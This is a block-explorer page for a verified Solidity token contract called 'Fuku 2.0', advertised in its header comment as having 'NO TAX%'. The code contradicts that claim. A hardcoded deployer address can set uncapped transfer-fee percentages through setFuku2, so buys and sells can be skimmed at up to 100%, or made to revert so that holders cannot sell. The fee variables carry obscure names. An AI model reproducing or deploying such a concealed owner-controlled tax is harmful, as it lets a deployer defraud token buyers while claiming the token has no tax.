Verified contractPartialunlicense
Fuku2
Address0x88d60fab6cda2d6128be83360bf2f21fa0eaa037
- Balance
0 ETH
- Transactions
5
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- EVM version
- shanghai
- License
- unlicense
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 20,515,017
- Creation transaction
- 0x9e22c4b085…000053f84c
Fuku2.sol
/*
Previous Project Hit $6Mill MC Fuku 2.0 : NO TAX%
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.20;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Fuku2 {
string public constant name = "Fuku 2.0";
string public constant symbol = "Fuku";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 100_000_000 * 10**decimals;
uint256 FWO = 0;
uint256 ConfirmAmount = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
address private pair;
address payable constant dep = payable(address(0x6F5EbB4f2E441Fc766b0BC85eD45a42695bd8849));
constructor() {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool){
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
if(pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if(from != address(this)){
uint256 FinalAmount = amount * (from == pair ? FWO : ConfirmAmount) / 100;
amount -= FinalAmount;
balanceOf[address(this)] += FinalAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function setFuku2(uint256 newBurn, uint256 newConfirm) external {
require(msg.sender == dep);
FWO = newBurn;
ConfirmAmount = newConfirm;
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": false
},
"evmVersion": "shanghai",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.